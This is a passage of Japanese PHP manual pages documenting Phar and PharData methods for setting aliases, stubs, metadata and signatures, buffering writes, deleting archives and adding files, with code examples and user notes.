Phar アーカイブのエイリアスを設定し、そのアーカイブのエイリアスとして書き込みます。 エイリアスは phar アーカイブで内部的に使用するもので、 phar ストリームラッパーがアーカイブ内のファイルにアクセスする際に そのアーカイブのファイルシステム上での場所を気にせずにすむようになります。 それ以外の方法としては、Phar が内部的に include を横取りすることを利用したり Phar::interceptFileFuncs() を使って相対パスを利用したりといったものがあります。

パラメータ

alias

このアーカイブを指すときに使用する短い文字列。 phar ストリームラッパーがアクセスする際にこれを使用します。

返り値

エラー / 例外

書き込みアクセスが無効となっている場合に UnexpectedValueException をスローします。 また、そのエイリアスが既に使用済みである場合や 変更をディスクに書き込むときにエラーが発生した場合は PharException をスローします。

例

例1 Phar::setAlias() の例

<?php
try {
    $phar = new Phar('myphar.phar');
    $phar->setAlias('myp.phar');
} catch (Exception $e) {
    // エラー処理
}
?>

参考

  • Phar::__construct() - Phar アーカイブオブジェクトを作成する
  • Phar::interceptFileFuncs() - fopen、file_get_contents、opendir などの stat 関連の関数をすべて phar に横取りさせる

User Contributed Notes

There are no user contributed notes for this page.


Phar アーカイブの PHP ローダー (起動スタブ) をデフォルトのローダーに設定する

  • ≪ Phar::setAlias
  • Phar::setMetadata ≫
  • PHP Manual
  • Phar
  • Phar アーカイブの PHP ローダー (起動スタブ) をデフォルトのローダーに設定する

Phar::setDefaultStub

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 2.0.0)

Phar::setDefaultStub — Phar アーカイブの PHP ローダー (起動スタブ) をデフォルトのローダーに設定する

説明

public Phar::setDefaultStub ( string $index = ? , string $webindex = ? ) : bool

注意:

このメソッドは、php.ini の phar.readonly が 0 でないと Phar オブジェクトで動作しません。それ以外の場合は PharException がスローされます。

このメソッドは、 Phar::createDefaultStub() と Phar::setStub() の両方の機能を組み合わせた便利なメソッドです。

パラメータ

index

コマンドラインからアクセスした場合に実行する、 phar アーカイブ内の相対パス。

webindex

ウェブブラウザからアクセスした場合に実行する、 phar アーカイブ内の相対パス。

返り値

成功した場合に true を、失敗した場合に false を返します。

エラー / 例外

phar.readonly が php.ini で有効になっている場合に UnexpectedValueException をスローします。 変更内容をディスクに書き込む際にエラーが発生した場合は PharException をスローします。

例

例1 Phar::setDefaultStub() の例

<?php
try {
    $phar = new Phar('myphar.phar');
    $phar->setDefaultStub('cli.php', 'web/index.php');
    // これは、以下と同じ意味です
    // $phar->setStub($phar->createDefaultStub('cli.php', 'web/index.php'));
} catch (Exception $e) {
    // エラー処理
}
?>

参考

  • Phar::setStub() - Phar アーカイブの PHP ローダ (あるいは起動スタブ) を設定する
  • Phar::createDefaultStub() - phar ファイルフォーマット用のスタブを作成する

User Contributed Notes

There are no user contributed notes for this page.


phar アーカイブのメタデータを設定する

  • ≪ Phar::setDefaultStub
  • Phar::setSignatureAlgorithm ≫
  • PHP Manual
  • Phar
  • phar アーカイブのメタデータを設定する

Phar::setMetadata

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 1.0.0)

Phar::setMetadata — phar アーカイブのメタデータを設定する

説明

public Phar::setMetadata ( mixed $metadata ) : void

注意:

このメソッドは、php.ini の phar.readonly が 0 でないと Phar オブジェクトで動作しません。それ以外の場合は PharException がスローされます。

Phar::setMetadata() は、 phar アーカイブ全体に関する独自の情報を保存する場合に使用します。 ファイル固有のメタデータについては PharFileInfo::setMetadata() を使うようにしましょう。大きなメタデータを使用すると、 phar アーカイブの読み込み時のパフォーマンスが低下します。

メタデータの使用例として考えられるのは、 アーカイブの中で最初に実行するファイルはどれかを指定したり、 » PEAR の package.xml のようなマニフェストの場所を指定したりすることです。 しかし、phar アーカイブに関する有用なデータなら何を保存してもかまいません。

パラメータ

metadata

phar アーカイブについての情報を含む、PHP の変数。

返り値

値を返しません。

例

例1 Phar::setMetadata() の例

<?php
// 確実に消しておきます
@unlink('brandnewphar.phar');
try {
    $p = new Phar(dirname(__FILE__) . '/brandnewphar.phar', 0, 'brandnewphar.phar');
    $p['file.php'] = '<?php echo "hello"';
    $p->setMetadata(array('bootstrap' => 'file.php'));
    var_dump($p->getMetadata());
} catch (Exception $e) {
    echo 'phar の作成/変更ができません:', $e;
}
?>

上の例の出力は以下となります。

array(1) {
  ["bootstrap"]=>
  string(8) "file.php"
}

参考

  • Phar::getMetadata() - phar アーカイブのメタデータを返す
  • Phar::delMetadata() - phar のグローバルメタデータを削除する
  • Phar::hasMetadata() - ファイルがグローバルなメタデータを持つかどうかを返す

User Contributed Notes

There are no user contributed notes for this page.


phar のシグネチャのアルゴリズムを設定して適用する

  • ≪ Phar::setMetadata
  • Phar::setStub ≫
  • PHP Manual
  • Phar
  • phar のシグネチャのアルゴリズムを設定して適用する

Phar::setSignatureAlgorithm

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 1.1.0)

Phar::setSignatureAlgorithm — phar のシグネチャのアルゴリズムを設定して適用する

説明

public Phar::setSignatureAlgorithm ( int $sigtype , string $privatekey = ? ) : void

注意:

このメソッドは、php.ini の phar.readonly が 0 でないと Phar オブジェクトで動作しません。それ以外の場合は PharException がスローされます。

phar のシグネチャのアルゴリズムを設定します。
シグネチャのアルゴリズムは Phar::MD5、
Phar::SHA1、Phar::SHA256、
Phar::SHA512 あるいは Phar::OPENSSL
のいずれかでなければなりません。

実行可能な phar アーカイブについては、 SHA1 形式のシグネチャが デフォルトで自動的に作成されることに注意しましょう。 データ tar 形式あるいは zip 形式のアーカイブ (PharData クラスで作成したアーカイブ) の場合は、 Phar::setSignatureAlgorithm() で明示的にシグネチャを作成して設定する必要があります。

パラメータ

sigtype

    Phar::MD5、
Phar::SHA1、Phar::SHA256、
Phar::SHA512 あるいは Phar::OPENSSL
    のいずれか。

privatekey

OpenSSL 秘密鍵の中身。証明書あるいは OpenSSL 鍵ファイルから取り出したもの。

<?php
$private = openssl_get_privatekey(file_get_contents('private.pem'));
$pkey = '';
openssl_pkey_export($private, $pkey);
$p->setSignatureAlgorithm(Phar::OPENSSL, $pkey);
?>
公開鍵ファイルの名前や置き場所については phar の導入 を参照ください。

返り値

値を返しません。

エラー / 例外

さまざまなエラーが発生した場合に UnexpectedValueException をスローします。 変更内容をディスクに書き込むときにエラーが発生した場合は PharException をスローします。

参考

  • Phar::getSupportedSignatures() - サポートするシグネチャ型の配列を返す
  • Phar::getSignature() - Phar アーカイブの MD5/SHA1/SHA256/SHA512/OpenSSL シグネチャを返す

User Contributed Notes

There are no user contributed notes for this page.


Phar アーカイブの PHP ローダ (あるいは起動スタブ) を設定する

  • ≪ Phar::setSignatureAlgorithm
  • Phar::startBuffering ≫
  • PHP Manual
  • Phar
  • Phar アーカイブの PHP ローダ (あるいは起動スタブ) を設定する

Phar::setStub

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 1.0.0)

Phar::setStub — Phar アーカイブの PHP ローダ (あるいは起動スタブ) を設定する

説明

public Phar::setStub ( string $stub , int $len = -1 ) : bool

注意:

このメソッドは、php.ini の phar.readonly が 0 でないと Phar オブジェクトで動作しません。それ以外の場合は PharException がスローされます。

このメソッドを使用して、新しい Phar アーカイブに PHP 起動ローダスタブを追加します。あるいは、既存の Phar アーカイブのローダスタブを置き換えます。

Phar アーカイブのローダスタブは、 このようにアーカイブを直接インクルードした際に使用されます。

<?php
include 'myphar.phar';
?>

phar ストリームラッパーを使用して次のようにファイルをインクルードした際には、 ローダにはアクセスしません。

<?php
include 'phar://myphar.phar/somefile.php';
?>

パラメータ

stub

文字列あるいはオープンしたストリームハンドル。 この phar アーカイブの実行スタブとして使用します。

len

返り値

成功した場合に true を、失敗した場合に false を返します。

エラー / 例外

php.ini で phar.readonly が有効になっている場合に UnexpectedValueException がスローされます。 変更をディスクに書き込む際に何らかの問題が発生した場合は PharException がスローされます。

例

例1 Phar::setStub() の例

<?php
try {
    $p = new Phar(dirname(__FILE__) . '/brandnewphar.phar', 0, 'brandnewphar.phar');
    $p['a.php'] = '<?php var_dump("Hello");';
    $p->setStub('<?php var_dump("First"); Phar::mapPhar("brandnewphar.phar"); __HALT_COMPILER(); ?>');
    include 'phar://brandnewphar.phar/a.php';
    var_dump($p->getStub());
    $p['b.php'] = '<?php var_dump("World");';
    $p->setStub('<?php var_dump("Second"); Phar::mapPhar("brandnewphar.phar"); __HALT_COMPILER(); ?>');
    include 'phar://brandnewphar.phar/b.php';
    var_dump($p->getStub());
} catch (Exception $e) {
    echo 'brandnewphar.phar での書き込み操作に失敗しました: ', $e;
}
?>

上の例の出力は以下となります。

string(5) "Hello"
string(82) "<?php var_dump("First"); Phar::mapPhar("brandnewphar.phar"); __HALT_COMPILER(); ?>"
string(5) "World"
string(83) "<?php var_dump("Second"); Phar::mapPhar("brandnewphar.phar"); __HALT_COMPILER(); ?>"

変更履歴

バージョン | 説明
5.4.0 | len パラメータが追加されました。

参考

  • Phar::getStub() - Phar アーカイブの PHP ローダーあるいは起動スタブを返す
  • Phar::createDefaultStub() - phar ファイルフォーマット用のスタブを作成する

User Contributed Notes

Scott Dutton 08-Jan-2018 09:57
Its not clear in the docs but __HALT_COMPILER() is required in the stub.
Olivier Laviale 17-Jul-2011 07:14
If your stub has a namespace, it is used for each include that doesn't define one.
jaimz22 at gmail dot com 16-Jan-2008 03:04
One thing I had alot of problems with, is that i can't set the stub unless I put the whole operation inside of a try/catch block!

If i remove the try/catch block it will error our and not write the stub with the content i want it to have.


Phar の書き込み操作のバッファリングを開始するが、ディスク上の Phar オブジェクトは変更しない

  • ≪ Phar::setStub
  • Phar::stopBuffering ≫
  • PHP Manual
  • Phar
  • Phar の書き込み操作のバッファリングを開始するが、ディスク上の Phar オブジェクトは変更しない

Phar::startBuffering

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 1.0.0)

Phar::startBuffering — Phar の書き込み操作のバッファリングを開始するが、ディスク上の Phar オブジェクトは変更しない

説明

public Phar::startBuffering ( ) : void

技術的には必須ではありませんが、Phar::startBuffering() メソッドを使用すると、大量のファイルを含む Phar アーカイブの作成や変更が非常に高速になります。 通常は、Phar アーカイブ内のファイルが作成あるいは変更されるたびに Phar アーカイブ全体を改めて作り直します。 これによって、アーカイブが常に最新の状態となります。

しかし、単に新しい Phar アーカイブを作りたいときや アーカイブ全体を一度に書き出したいときなどは、これは不要です。 同様に、いくつかの変更を行うときに、 すべての変更がうまくいったことを確認してから実際にディスクに書き込みたい ということもあるでしょう。 これは、ちょうどデータベースのトランザクションの概念と同じようなものです。 Phar::startBuffering()/Phar::stopBuffering() の両メソッドが、このような場合のために用意されています。

Phar の書き込みバッファリングはアーカイブ単位で処理されます。 Phar アーカイブ foo.phar でバッファリングが有効であったとしても、それは Phar アーカイブ bar.phar の変更には影響しません。

返り値

値を返しません。

例

例1 Phar::startBuffering() の例

<?php
// 確実に消しておきます
@unlink('brandnewphar.phar');
try {
    $p = new Phar(dirname(__FILE__) . '/brandnewphar.phar', 0, 'brandnewphar.phar');
} catch (Exception $e) {
    echo 'phar を作成できません:', $e;
}
echo '新しい phar のエントリ数は ' . $p->count() . " です\n";
$p->startBuffering();
$p['file.txt'] = 'hi';
$p['file2.txt'] = 'there';
$p['file2.txt']->setCompressedGZ();
$p['file3.txt'] = 'babyface';
$p['file3.txt']->setMetadata(42);
$p->setStub("<?php
function __autoload($class)
{
    include 'phar://myphar.phar/' . str_replace('_', '/', $class) . '.php';
}
Phar::mapPhar('myphar.phar');
include 'phar://myphar.phar/startup.php';
__HALT_COMPILER();");
$p->stopBuffering();
?>

参考

  • Phar::stopBuffering() - Phar アーカイブへの書き込みリクエストのバッファリングを終了し、変更内容をディスクに書き込む
  • Phar::isBuffering() - Phar の書き込み操作がバッファリングされるか、あるいは直接ディスクに書き込まれるかを調べる

User Contributed Notes

anon at php dot com 29-Nov-2020 02:24
To setthe  ini key phar.readonly to 0, from a unix shell script, this is possible on the fly it is possible see below.
The example given on this page has some issues with quoting: (See conversion to simple quotes)

#!/usr/bin/php -d phar.readonly=0
<?php
print(ini_get('phar.readonly')); // Must return 0
// make sure it doesn't exist
@unlink('brandnewphar.phar');
try {
    $p = new Phar(dirname(__FILE__) . '/brandnewphar.phar', 0, 'brandnewphar.phar');
} catch (Exception $e) {
    echo 'Could not create phar:', $e;
}
echo 'The new phar has ' . $p->count() . " entries\n";
$p->startBuffering();
$p['file.txt'] = 'hi';
$p['file2.txt'] = 'there';
$p['file2.txt']->compress(Phar::GZ);
$p['file3.txt'] = 'babyface';
$p['file3.txt']->setMetadata(42);
$p->setStub('<?php
function __autoload($class)
{
    include "phar://myphar.phar/" . str_replace("_", "/", $class) . ".php";
}
Phar::mapPhar("myphar.phar");
include "phar://myphar.phar/startup.php";
__HALT_COMPILER();');
$p->stopBuffering();

// Test
$m = file_get_contents("phar://brandnewphar.phar/file2.txt");
$m = explode("\n",$m);
var_dump($m);
/* Output:
* there
**/


Phar アーカイブへの書き込みリクエストのバッファリングを終了し、変更内容をディスクに書き込む

  • ≪ Phar::startBuffering
  • Phar::unlinkArchive ≫
  • PHP Manual
  • Phar
  • Phar アーカイブへの書き込みリクエストのバッファリングを終了し、変更内容をディスクに書き込む

Phar::stopBuffering

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 1.0.0)

Phar::stopBuffering — Phar アーカイブへの書き込みリクエストのバッファリングを終了し、変更内容をディスクに書き込む

説明

public Phar::stopBuffering ( ) : void

Phar::stopBuffering() は、 Phar::startBuffering() メソッドと組み合わせて使用します。 Phar::startBuffering() メソッドを使用すると、 大量のファイルを含む Phar アーカイブの作成や変更が非常に高速になります。 通常は、Phar アーカイブ内のファイルが作成あるいは変更されるたびに Phar アーカイブ全体を改めて作り直します。 これによって、アーカイブが常に最新の状態となります。

しかし、単に新しい Phar アーカイブを作りたいときや アーカイブ全体を一度に書き出したいときなどは、これは不要です。 同様に、いくつかの変更を行うときに、 すべての変更がうまくいったことを確認してから実際にディスクに書き込みたい ということもあるでしょう。 これは、ちょうどデータベースのトランザクションの概念と同じようなものです。 Phar::startBuffering()/Phar::stopBuffering() の両メソッドが、このような場合のために用意されています。

Phar の書き込みバッファリングはアーカイブ単位で処理されます。 Phar アーカイブ foo.phar でバッファリングが有効であったとしても、それは Phar アーカイブ bar.phar の変更には影響しません。

返り値

値を返しません。

エラー / 例外

変更をディスクに書き出す際に何らかの問題が発生した場合は PharException がスローされます。

例

例1 Phar::stopBuffering() の例

<?php
$p = new Phar(dirname(__FILE__) . '/brandnewphar.phar', 0, 'brandnewphar.phar');
$p['file1.txt'] = 'hi';
$p->startBuffering();
var_dump($p->getStub());
$p->setStub("<?php
function __autoload(\$class)
{
    include 'phar://brandnewphar.phar/' . str_replace('_', '/', \$class) . '.php';
}
Phar::mapPhar('brandnewphar.phar');
include 'phar://brandnewphar.phar/startup.php';
__HALT_COMPILER();");
$p->stopBuffering();
var_dump($p->getStub());
?>

上の例の出力は以下となります。

string(24) "<?php __HALT_COMPILER();"
string(195) "<?php
function __autoload($class)
{
    include 'phar://' . str_replace('_', '/', $class);
}
Phar::mapPhar('brandnewphar.phar');
include 'phar://brandnewphar.phar/startup.php';
__HALT_COMPILER();"

参考

  • Phar::startBuffering() - Phar の書き込み操作のバッファリングを開始するが、ディスク上の Phar オブジェクトは変更しない
  • Phar::isBuffering() - Phar の書き込み操作がバッファリングされるか、あるいは直接ディスクに書き込まれるかを調べる

User Contributed Notes

There are no user contributed notes for this page.


phar アーカイブをディスクとメモリから完全に削除する

  • ≪ Phar::stopBuffering
  • Phar::webPhar ≫
  • PHP Manual
  • Phar
  • phar アーカイブをディスクとメモリから完全に削除する

Phar::unlinkArchive

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 2.0.0)

Phar::unlinkArchive — phar アーカイブをディスクとメモリから完全に削除する

説明

final public static Phar::unlinkArchive ( string $archive ) : bool

phar アーカイブをディスクとメモリから削除します。

パラメータ

archive

ディスク上の phar アーカイブへのパス。

返り値

成功した場合に true を、失敗した場合に false を返します。

エラー / 例外

phar アーカイブがオープンされたままになっている場合や 既存の Phar、PharData PharFileInfo オブジェクトがその phar アーカイブを参照している場合に PharException をスローします。

例

例1 Phar::unlinkArchive() の例

<?php
// シンプルな使用法
Phar::unlinkArchive('/path/to/my.phar');

// より一般的な例
$p = new Phar('my.phar');
$fp = fopen('phar://my.phar/file.txt', 'r');
// これは 'my.phar.gz' を作成します
$gp = $p->compress(Phar::GZ);
// アーカイブへのすべての参照を削除します
unset($p);
fclose($fp);
// そしてアーカイブを完全に削除します
Phar::unlinkArchive('my.phar');
?>

参考

  • Phar::delete() - phar アーカイブ内のファイルを削除する
  • Phar::offsetUnset() - ファイルを phar から削除する

User Contributed Notes

There are no user contributed notes for this page.


ウェブベースの phar で使用するフロントコントローラ

  • ≪ Phar::unlinkArchive
  • PharData ≫
  • PHP Manual
  • Phar
  • ウェブベースの phar で使用するフロントコントローラ

Phar::webPhar

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 2.0.0)

Phar::webPhar — ウェブベースの phar で使用するフロントコントローラ

説明

final public static Phar::webPhar ( string $alias = ? , string $index = "index.php" , string $f404 = ? , array $mimetypes = ? , callable $rewrites = ? ) : void

Phar::mapPhar() は、ウェブベースの phar で使用します。 このメソッドは、 $_SERVER['REQUEST_URI'] をパースして ウェブサーバーからのリクエストを phar アーカイブ内のファイルに転送します。 要は、このメソッド自体がウェブサーバーをシミュレートするということです。 正しいファイルにリクエストを転送し、正しいヘッダを出力し、 必要に応じて PHP ファイルをパースします。 この強力なメソッドがあることで、 既存の PHP アプリケーションを phar アーカイブ化するのが容易になります。 Phar::mungServer() や Phar::interceptFileFuncs() と組み合わせて使用すると、任意のウェブアプリケーションをそのまま phar アーカイブ化することができます。

Phar::webPhar() をコールするのは、 phar アーカイブのスタブ内からのみとしましょう (スタブって何? という方は ここ をごらんください)。

パラメータ

alias

phar:// URL でこのアーカイブを指す際に、 フルパスの代わりに使用するエイリアス。

index

phar の中でディレクトリインデックスとなるファイルの場所。

f404

ファイルが見つからないときに実行するスクリプトの場所。 このスクリプトは HTTP 404 ヘッダを返さなければなりません。

mimetypes

ファイルの拡張子と MIME タイプを関連付けた配列。 デフォルトのマッピングで十分な場合は、空の配列を渡します。 デフォルトで、これらの関連が定義されています。

<?php
$mimes = array(
    'phps' => Phar::PHPS, // highlight_file() に渡します
    'c' => 'text/plain',
    'cc' => 'text/plain',
    'cpp' => 'text/plain',
    'c++' => 'text/plain',
    'dtd' => 'text/plain',
    'h' => 'text/plain',
    'log' => 'text/plain',
    'rng' => 'text/plain',
    'txt' => 'text/plain',
    'xsd' => 'text/plain',
    'php' => Phar::PHP, // PHP としてパースします
    'inc' => Phar::PHP, // PHP としてパースします
    'avi' => 'video/avi',
    'bmp' => 'image/bmp',
    'css' => 'text/css',
    'gif' => 'image/gif',
    'htm' => 'text/html',
    'html' => 'text/html',
    'htmls' => 'text/html',
    'ico' => 'image/x-ico',
    'jpe' => 'image/jpeg',
    'jpg' => 'image/jpeg',
    'jpeg' => 'image/jpeg',
    'js' => 'application/x-javascript',
    'midi' => 'audio/midi',
    'mid' => 'audio/midi',
    'mod' => 'audio/mod',
    'mov' => 'movie/quicktime',
    'mp3' => 'audio/mp3',
    'mpg' => 'video/mpeg',
    'mpeg' => 'video/mpeg',
    'pdf' => 'application/pdf',
    'png' => 'image/png',
    'swf' => 'application/shockwave-flash',
    'tif' => 'image/tiff',
    'tiff' => 'image/tiff',
    'wav' => 'audio/wav',
    'xbm' => 'image/xbm',
    'xml' => 'text/xml',
);
?>

rewrites

書き換え関数は、唯一のパラメータとして文字列を受け取り、string あるいは false を返さないといけません。

fast-cgi あるいは cgi を使っている場合、この関数に渡されるパラメータは $_SERVER['PATH_INFO'] の値になります。 それ以外の場合、この関数に渡されるパラメータは $_SERVER['REQUEST_URI'] の値になります。

文字列を返した場合は、内部的なファイルパスとして扱います。false を返した場合は、 webPhar() が HTTP 403 を送信します。

返り値

値を返しません。

エラー / 例外

出力したい内部ファイルのオープンに失敗した場合、 あるいはスタブ以外からコールした場合には PharException をスローします。 無効な配列を mimetypes に渡したり、 無効なコールバックを rewrites に渡したりした場合は UnexpectedValueException をスローします。

例

例1 Phar::webPhar() の例

この例で作成した phar は、/myphar.phar/index.php や /myphar.phar をブラウズしたときには Hello World を表示し、 /myphar.phar/index.phps をブラウズしたときには index.phps のソースを表示します。

<?php
// phar アーカイブを作成します
try {
    $phar = new Phar('myphar.phar');
    $phar['index.php'] = '<?php echo "Hello World"; ?>';
    $phar['index.phps'] = '<?php echo "Hello World"; ?>';
    $phar->setStub('<?php
Phar::webPhar();
__HALT_COMPILER(); ?>');
} catch (Exception $e) {
    // ここでエラー処理をします
}
?>

参考

  • Phar::mungServer() - 最大 4 つまでの $_SERVER 変数を実行時に変更させる
  • Phar::interceptFileFuncs() - fopen、file_get_contents、opendir などの stat 関連の関数をすべて phar に横取りさせる

User Contributed Notes

James 06-Oct-2012 07:55
It seems that calling Phar::webPhar() from inside a function is a bad idea.  Doing so will cause global variables in included files to not be global.  For instance, do NOT try this:

<?php
$phar = new Phar('test.phar.php');
$phar['test.php'] = '<?php
$FOO = "globals work";
function test() {
  global $FOO;
  echo "test: $FOO\n";
}
test();
?>';
$phar->setStub('<?php
function _bootstrap() {
Phar::webPhar();
}
_bootstrap();
__HALT_COMPILER(); ?>');
?>

The output will be "test:", not "test: globals work".


PharData クラス

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 2.0.0)

はじめに

PharData クラスは、実行可能形式でない tar アーカイブや zip アーカイブへのアクセスや作成のための高レベルインターフェイスを提供します。 これらのアーカイブにはスタブが含まれておらず、 phar 拡張モジュールから実行することはできません。 そのため、PharData クラスによる通常の zip および tar ファイルの作成や 操作は php.ini の phar.readonly が 1 であっても可能です。

クラス概要

PharData extends RecursiveDirectoryIterator implements Countable , ArrayAccess {
/* 継承した定数 */
const int FilesystemIterator::CURRENT_AS_PATHNAME = 32 ;
const int FilesystemIterator::CURRENT_AS_FILEINFO = 0 ;
const int FilesystemIterator::CURRENT_AS_SELF = 16 ;
const int FilesystemIterator::CURRENT_MODE_MASK = 240 ;
const int FilesystemIterator::KEY_AS_PATHNAME = 0 ;
const int FilesystemIterator::KEY_AS_FILENAME = 256 ;
const int FilesystemIterator::FOLLOW_SYMLINKS = 512 ;
const int FilesystemIterator::KEY_MODE_MASK = 3840 ;
const int FilesystemIterator::NEW_CURRENT_AND_KEY = 256 ;
const int FilesystemIterator::SKIP_DOTS = 4096 ;
const int FilesystemIterator::UNIX_PATHS = 8192 ;
/* メソッド */
public addEmptyDir ( string $dirname ) : void
public addFile ( string $file , string $localname = ? ) : void
public addFromString ( string $localname , string $contents ) : void
public buildFromDirectory ( string $base_dir , string $regex = ? ) : array
public buildFromIterator ( Iterator $iter , string $base_directory = ? ) : array
public compress ( int $compression , string $extension = ? ) : PharData
public compressFiles ( int $compression ) : void
public __construct ( string $fname , int $flags = ? , string $alias = ? , int $format = Phar::TAR )
public convertToData ( int $format = ? , int $compression = ? , string $extension = ? ) : PharData
public convertToExecutable ( int $format = ? , int $compression = ? , string $extension = ? ) : Phar
public copy ( string $oldfile , string $newfile ) : bool
public decompress ( string $extension = ? ) : PharData
public decompressFiles ( ) : bool
public delMetadata ( ) : bool
public delete ( string $entry ) : bool
public extractTo ( string $pathto , string|array|null $files = null , bool $overwrite = false ) : bool
public isWritable ( ) : bool
public offsetSet ( string $offset , string $value ) : void
public offsetUnset ( string $offset ) : bool
public setAlias ( string $alias ) : bool
public setDefaultStub ( string $index = ? , string $webindex = ? ) : bool
public setMetadata ( mixed $metadata ) : void
public setSignatureAlgorithm ( int $sigtype ) : void
public setStub ( string $stub , int $len = -1 ) : bool
}

目次

  • PharData::addEmptyDir — 空のディレクトリを tar/zip アーカイブに追加する
  • PharData::addFile — ファイルシステム上のファイルを tar/zip アーカイブに追加する
  • PharData::addFromString — ファイルシステム上のファイルを tar/zip アーカイブに追加する
  • PharData::buildFromDirectory — ディレクトリ内のファイルから tar/zip アーカイブを作成する
  • PharData::buildFromIterator — イテレータから tar あるいは zip アーカイブを作成する
  • PharData::compress — tar/zip アーカイブ全体を Gzip あるいは Bzip2 で圧縮する
  • PharData::compressFiles — 現在の tar/zip アーカイブ内のすべてのファイルを圧縮する
  • PharData::__construct — 実行可能でない tar あるいは zip アーカイブオブジェクトを作成する
  • PharData::convertToData — phar アーカイブを実行可能でない tar あるいは zip ファイルに変換する
  • PharData::convertToExecutable — 実行可能でない tar/zip アーカイブを実行可能な phar アーカイブ形式に変換する
  • PharData::copy — phar アーカイブ内のファイルを、phar 内で別の新しいファイルとしてコピーする
  • PharData::decompress — Phar アーカイブ全体の圧縮を解除する
  • PharData::decompressFiles — 現在の zip アーカイブ内のすべてのファイルの圧縮を解除する
  • PharData::delMetadata — zip アーカイブのグローバルメタデータを削除する
  • PharData::delete — tar/zip アーカイブ内のファイルを削除する
  • PharData::extractTo — tar/zip アーカイブの内容をディレクトリに展開する
  • PharData::isWritable — tar/zip アーカイブが変更可能な場合に true を返す
  • PharData::offsetSet — tar/zip の内部のファイルに、外部ファイルあるいは文字列の内容を設定する
  • PharData::offsetUnset — ファイルを tar/zip アーカイブから削除する
  • PharData::setAlias — ダミー関数 (Phar::setAlias は PharData では使用不能)
  • PharData::setDefaultStub — ダミー関数 (Phar::setDefaultStub は PharData では無効)
  • PharData::setMetadata — phar アーカイブのメタデータを設定する
  • PharData::setSignatureAlgorithm — phar のシグネチャのアルゴリズムを設定する
  • PharData::setStub — ダミー関数 (Phar::setStub は PharData では使用不能)

User Contributed Notes

There are no user contributed notes for this page.


空のディレクトリを tar/zip アーカイブに追加する

  • ≪ PharData
  • PharData::addFile ≫
  • PHP Manual
  • PharData
  • 空のディレクトリを tar/zip アーカイブに追加する

PharData::addEmptyDir

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 2.0.0)

PharData::addEmptyDir — 空のディレクトリを tar/zip アーカイブに追加する

説明

public PharData::addEmptyDir ( string $dirname ) : void

このメソッドを使用すると、空のディレクトリが dirname に作成されます。このメソッドは ZipArchive::addEmptyDir() と同じようなものです。

パラメータ

dirname

phar アーカイブ内に作成する空のディレクトリの名前。

返り値

返り値はありません。失敗時には例外をスローします。

例

例1 PharData::addEmptyDir() の例

<?php
try {
    $a = new PharData('/path/to/my.tar');

    $a->addEmptyDir('/full/path/to/file');
    // できあがったファイルを確認します
    $b = $a['full/path/to/file']->isDir();
} catch (Exception $e) {
    // ここでエラー処理をします
}
?>

参考

  • Phar::addEmptyDir() - 空のディレクトリを phar アーカイブに追加する
  • PharData::addFile() - ファイルシステム上のファイルを tar/zip アーカイブに追加する
  • PharData::addFromString() - ファイルシステム上のファイルを tar/zip アーカイブに追加する

User Contributed Notes

There are no user contributed notes for this page.


ファイルシステム上のファイルを tar/zip アーカイブに追加する

  • ≪ PharData::addEmptyDir
  • PharData::addFromString ≫
  • PHP Manual
  • PharData
  • ファイルシステム上のファイルを tar/zip アーカイブに追加する

PharData::addFile

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 2.0.0)

PharData::addFile — ファイルシステム上のファイルを tar/zip アーカイブに追加する

説明

public PharData::addFile ( string $file , string $localname = ? ) : void

このメソッドを使用すると、任意のファイルあるいは URL を tar/zip アーカイブに追加することができます。 オプションの 2 番目のパラメータ localname を指定すると、 ファイルはその名前でアーカイブ内に格納されます。指定しなかった場合は、 file パラメータをアーカイブ内のパスとして使用します。 URL を使用する場合は、localname を指定しないと例外がスローされます。 このメソッドは ZipArchive::addFile() と同じようなものです。

パラメータ

file

phar アーカイブに追加したいディスク上のファイルへのフルパスあるいは相対パス。

localname

ファイルをアーカイブ内に格納するときのパス。

返り値

返り値はありません。失敗時には例外をスローします。

例

例1 PharData::addFile() の例

<?php
try {
    $a = new PharData('/path/to/my.tar');

    $a->addFile('/full/path/to/file');
    // 格納したファイルを確認します
    $b = $a['full/path/to/file']->getContent();

    $a->addFile('/full/path/to/file', 'my/file.txt');
    $c = $a['my/file.txt']->getContent();

    // URL の使用例
    $a->addFile('http://www.example.com', 'example.html');
} catch (Exception $e) {
    // ここでエラー処理をします
}
?>

注意

注意: PharData::addFile(), PharData::addFromString(), PharData::offsetSet() は、呼び出されるたびに新しいPharアーカイブを生成します。パフォーマンスを気にするなら、代わりに PharData::buildFromDirectory() や PharData::buildFromIterator() を使うべきです。

参考

  • PharData::offsetSet() - tar/zip の内部のファイルに、外部ファイルあるいは文字列の内容を設定する
  • Phar::addFile() - ファイルシステム上のファイルを phar アーカイブに追加する
  • PharData::addFromString() - ファイルシステム上のファイルを tar/zip アーカイブに追加する
  • PharData::addEmptyDir() - 空のディレクトリを tar/zip アーカイブに追加する

User Contributed Notes

There are no user contributed notes for this page.


ファイルシステム上のファイルを tar/zip アーカイブに追加する

  • ≪ PharData::addFile
  • PharData::buildFromDirectory ≫
  • PHP Manual
  • PharData
  • ファイルシステム上のファイルを tar/zip アーカイブに追加する

PharData::addFromString

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 2.0.0)

PharData::addFromString — ファイルシステム上のファイルを tar/zip アーカイブに追加する

説明

public PharData::addFromString ( string $localname , string $contents ) : void

このメソッドを使用すると、任意の文字列を tar/zip アーカイブに追加することができます。 アーカイブ内のファイル名は localname で指定したものとなります。 このメソッドは ZipArchive::addFromString() と同じようなものです。

パラメータ

localname

ファイルをアーカイブ内に格納するときのパス。

contents

ファイルに保存する内容。

返り値

返り値はありません。失敗時には例外をスローします。

例

例1 PharData::addFromString() の例

<?php
try {
    $a = new PharData('/path/to/my.tar');

    $a->addFromString('path/to/file.txt', 'my simple file');
    $b = $a['path/to/file.txt']->getContent();

    // 大きなファイル用にストリームハンドルから追加するには offsetSet() を使用します
    $c = fopen('/path/to/hugefile.bin');
    $a['largefile.bin'] = $c;
